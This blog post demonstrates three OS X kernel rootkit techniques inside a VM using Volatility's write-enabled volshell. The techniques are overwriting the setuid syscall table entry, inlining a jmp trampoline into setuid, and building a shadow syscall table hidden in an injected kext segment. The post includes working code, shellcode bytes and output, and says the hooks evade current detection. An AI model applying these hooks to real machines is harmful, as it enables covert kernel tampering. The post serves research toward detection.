Summary
After taking a brief detour into reviewing JAVA source code I'm back to OS X and Volatility. In this post I'll be using the Volatility Framework to alter the OS X syscall table from an offensive perspective rather than using it for detection. To accomplish this, I'll be mimicking techniques used by malware, such as direct syscall table modification, syscall function inlining, patching the syscall handler, and hiding the payload in a binary's segment.What's a Syscall Table?
Generally speaking, the syscall table is an array of function pointers. In UNIX, a system call is part of a defined list of functions that permit a userland process to interact with the kernel. A user process uses a system call to request the kernel to perform operations on its behalf. In XNU, the syscall table is known as "sysent", and is no longer a public symbol, to prevent actions like syscall hooking. The list of entries is defined in the syscall.masters file. Below is the structure of a sysent entry as represented by Volatility:
'sysent' (40 bytes)
0x0 : sy_narg ['short']
0x2 : sy_resv ['signed char']
0x3 : sy_flags ['signed char']
0x8 : sy_call ['pointer', ['void']]
0x10 : sy_arg_munge32 ['pointer', ['void']]
0x18 : sy_arg_munge64 ['pointer', ['void']]
0x20 : sy_return_type ['int']
0x24 : sy_arg_bytes ['unsigned short']
The sy_call member of the sysent struct contains the pointer to the syscall function.
Preparation
I'll be using a VMWare instance of OS X 10.8.3 as a target and Volatility's mac_volshell command with write access to alter the kernel. After firing up the the VM, I issued the following command to drop to the volshell command line (by the way I had to agree to enable write support...).
$ python vol.py mac_volshell -f ~/Documents/Virtual\ Machines/Mac\ OS\ X\ 10.8\ 64-bit.vmwarevm/Mac\ OS\ X\ 10.8\ 64-bit-af14d5f6.vmem --profile=MacMountainLion_10_8_3_AMDx64 -w
Volatile Systems Volatility Framework 2.3_beta
Write support requested. Please type "Yes, I want to enable write support" below precisely (case-sensitive):
Yes, I want to enable write support
Syscall Interception by Directly Modifying the Syscall Table
A quick and easy example of modifying the syscall table is switching the setuid call with the exit call as explained in this Phrack article. The code below retrieves the sysent entry addresses for the exit and setuid calls so we know what to modify. Then the sysent objects get instantiated to access their sy_call members, which contain the pointer to the syscall function. Finally, the code overwrites the setuid sysent's syscall function address with the exit sysent's syscall function address.>>> #get sysent addresses for exit and setuid
>>> nsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace)
>>> sysents = obj.Object(theType = "Array", offset = self.addrspace.profile.get_symbol("_sysent"), vm = self.addrspace, count = nsysent, targetType = "sysent")
>>> for (i, sysent) in enumerate(sysents):
... if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_setuid":
... "setuid sysent at {0:#10x}".format(sysent.obj_offset)
... "setuid syscall {0:#10x}".format(sysent.sy_call.v())
... if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_exit":
... "exit sysent at {0:#10x}".format(sysent.obj_offset)
... "exit syscall {0:#10x}".format(sysent.sy_call.v())
...
'exit sysent at 0xffffff8006455868'
'exit syscall 0xffffff8006155430'
'setuid sysent at 0xffffff8006455bd8'
'setuid syscall 0xffffff8006160910'
>>> #create sysent objects
>>> s_exit = obj.Object('sysent',offset=0xffffff8006455868,vm=self.addrspace)
>>> s_setuid = obj.Object('sysent',offset=0xffffff8006455bd8,vm=self.addrspace)
>>> #write exit function address to setuid function address
>>> self.addrspace.write(s_setuid.sy_call.obj_offset, struct.pack("<Q", s_exit.sy_call.v()))
True
After the switch if any program calls setuid, it will be redirected to the exit syscall, and end without issues. This won't be detected by Volatility's mac_check_syscalls plugin as 'hooked' as of r3444. Volatility, on the other hand, will detect syscall table modifications that point to functions that are not listed within the symbols table.
mac_check_syscalls output before and after modification |
Syscall Function Interception or Inlining
For this case I'll be modifying setuid syscall function prologue to add a trampoline into the exit syscall function. The following will be used to modify the function:"\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00" // mov rax, address
"\xFF\xE0"; // jmp rax
The address place holder will be replaced with the exit syscall address as seen below:
>>> buf = "\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xE0".encode("hex").replace("0000000000000000",struct.pack("<Q",self.addrspace.profile.get_symbol("_exit")).encode('hex'))
>>> buf
'48b83054550780ffffffffe0'
>>> import binascii
>>> self.addrspace.write(self.addrspace.profile.get_symbol("_setuid"),binascii.unhexlify(buf))
True
The function disassembly shows that the modification was successful:
setuid function prologue before and after modification |
I also took screenshots of a 'sudo -i' attempt before and after the function modification. Before the modification the system prompts for a password, but after the modification there is no such prompt since the call to setuid becomes a call to exit.
sudo -i execution attempts before and after setuid modification |
Patched Syscall Handler or Shadow Syscall Table
The shadowing of the syscall table is a technique that hides the attacker's modifications to the syscall table by creating a copy of it to modify and by keeping the original untouched. The attacker would need to alter all kernel references to the syscall table to point to the shadow syscall table for the attack to fully succeed. After the references are modified, the attacker can perform the syscall function interceptions described above without worrying much about detection.To perform the described attack in Volatility, I had to do the following:
- Find a suitable kernel extension (kext) that has enough free space to copy the syscall table into
- Add a new segment to the binary and modify the segment count in the header (mach-o format)
- Copy the syscall table into the segment's data
- Modify kernel references to the syscall table to point to the shadow syscall table
- Modify the shadow syscall table using the first technique described
Finding a suitable kext was pretty much a trial and error for me. In my case "com.vmware.kext.vmhgfs" appeared to be a stable target.
To find the kernel references to the syscall table (sysent) I first looked into the XNU source code to find the functions that have references to it. The function unix_syscall64 appeared to be a good candidate since it had several references:
Then I disassembled the unix_syscall64 function in volshell to find the corresponding instructions so I could get the pointer to the syscall table. Since I knew the syscall table address, it was easy to find the references to it.
To get the reference to the syscall table I ran the following code in volshell:
To find the kernel references to the syscall table (sysent) I first looked into the XNU source code to find the functions that have references to it. The function unix_syscall64 appeared to be a good candidate since it had several references:
...
callp = (code >= NUM_SYSENT) ? &sysent[63] : &sysent[code];
uargp = (void *)(®s->rdi)
if (__improbable(callp == sysent)) {
/*
* indirect system call... system call number
* passed as 'arg0'
*/
code = regs->rdi;
callp = (code >= NUM_SYSENT) ? &sysent[63] : &sysent[code];
uargp = (void *)(®s->rsi);
args_in_regs = 5;
}
...
Then I disassembled the unix_syscall64 function in volshell to find the corresponding instructions so I could get the pointer to the syscall table. Since I knew the syscall table address, it was easy to find the references to it.
unix_syscall64 references to the syscall table |
>>> tgt_addr = self.addrspace.profile.get_symbol("_unix_syscall64")
>>> buf = self.addrspace.read(tgt_addr, 200)
>>> for op in distorm3.Decompose(tgt_addr, buf, distorm3.Decode64Bits):
... #targeting the instruction: CMP R13, [RIP+0x21fc16]
... if op.mnemonic == "CMP" and 'FLAG_RIP_RELATIVE' in op.flags and op.operands[0].name == "R13":
... print "Syscall Table Reference is at {0:#10x}".format(op.address + op.operands[1].disp + op.size)
... break
...
Syscall Table Reference is at 0xffffff802ec000d0
To create the shadow syscall table I ran the following code in volshell, which performs the steps mentioned above:
#get address for the kernel extension (kext) list
p = self.addrspace.profile.get_symbol("_kmod")
kmodaddr = obj.Object("Pointer", offset = p, vm = self.addrspace)
kmod = kmodaddr.dereference_as("kmod_info")
#loop thru list to find suitable target to place the shadow syscall table in
while kmod.is_valid():
str(kmod.name)
if str(kmod.name) == "com.vmware.kext.vmhgfs":
mh = obj.Object('mach_header_64', offset = kmod.address,vm = self.addrspace)
o = mh.obj_offset
#skip header data
o += 32
seg_data_end = 0
#loop thru segments to find the end to use as the start of the injected segment
for i in xrange(0, mh.ncmds):
seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
o += seg.cmdsize
print "index {0} segname {1} cmd {2:x} offset {3:x} header cnt addr {4}".format(i,seg.segname, seg.cmd, o, mh.ncmds.obj_offset)
#increment header segment count
self.addrspace.write(mh.ncmds.obj_offset, chr(mh.ncmds + 1))
#create new segment starting at last segment's end
print "Creating new segment at {0:#10x}".format(o)
seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
#create a segment with the type LC_SEGMENT_64, 0x19
seg.cmd = 0x19
seg.cmdsize = 0
#naming the segment __SHSYSCALL
status = self.addrspace.write(seg.segname.obj_offset, '\x5f\x5f\x53\x48\x53\x59\x53\x43\x41\x4c\x4c')
#data/shadow syscall table will start after the command struct
seg.vmaddr = o + self.addrspace.profile.get_obj_size('segment_command_64')
seg.filesize = seg.vmsize
seg.fileoff = 0
seg.nsects = 0
#copy syscall table entries to new location
nsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace)
seg.vmsize = self.addrspace.profile.get_obj_size('sysent') * nsysent
sysents = obj.Object(theType = "Array", offset = self.addrspace.profile.get_symbol("_sysent"), vm = self.addrspace, count = nsysent, targetType = "sysent")
for (i, sysent) in enumerate(sysents):
status = self.addrspace.write(seg.vmaddr + (i*40), self.addrspace.read(sysent.obj_offset, 40))
print "The shadow syscall table is at {0:#10x}".format(seg.vmaddr)
break
kmod = kmod.next
While the volshell code might not be the cleanest, it worked for this proof of concept.
output from the syscall table copy code |
>>> #write shadow table address (0xffffff7fafdf5350) to reference (0xffffff802ec000d0)
>>> self.addrspace.write(0xffffff802ec000d0, struct.pack('Q', 0xffffff7fafdf5350))
True
>>> "{0:#10x}".format(obj.Object('Pointer', offset =0xffffff802ec000d0, vm = self.addrspace))
'0xffffff7fafdf5350'
The second command confirms that the syscall table reference no longer points to the original one besides the VM still being up and running.The last step of this method is to modify the shadow syscall table using the first method described (direct syscall table modification).
>>> #get sysent addresses for exit and setuid >>> nsysent = obj.Object("int", offset = self.addrspace.profile.get_symbol("_nsysent"), vm = self.addrspace) >>> sysents = obj.Object(theType = "Array", offset = 0xffffff7fafdf5350, vm = self.addrspace, count = nsysent, targetType = "sysent") >>> for (i, sysent) in enumerate(sysents): ... if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_setuid": ... "setuid sysent at {0:#10x}".format(sysent.obj_offset) ... "setuid syscall {0:#10x}".format(sysent.sy_call.v()) ... if str(self.addrspace.profile.get_symbol_by_address("kernel",sysent.sy_call.v())) == "_exit": ... "exit sysent at {0:#10x}".format(sysent.obj_offset) ... "exit syscall {0:#10x}".format(sysent.sy_call.v()) ... 'exit sysent at 0xffffff7fafdf5378' 'exit syscall 0xffffff802e955430' 'setuid sysent at 0xffffff7fafdf56e8' 'setuid syscall 0xffffff802e960910' >>> #create sysent objects >>> s_exit = obj.Object('sysent',offset= 0xffffff7fafdf5378,vm=self.addrspace) >>> s_setuid = obj.Object('sysent',offset= 0xffffff7fafdf56e8,vm=self.addrspace) >>> #write exit function address to setuid function address >>> self.addrspace.write(s_setuid.sy_call.obj_offset, struct.pack("<Q", s_exit.sy_call.v())) True
sudo -i doesn't prompt for password |
check_syscall plugin showing unmodified syscall table |
Note: It looks like the writes to the vmem file can take a bit to take effect.
Conclusion
I have gone through three examples that show how to mess with the OS X syscall table using the Volatility Framework. This exercise has shown that Volatility can be used to develop proof of concept attacks besides detecting them. Although currently the presented attacks are undetected by Volatility, this will change shortly with my next blog post, which will reveal a new plugin. Stay tuned!
No comments:
Post a Comment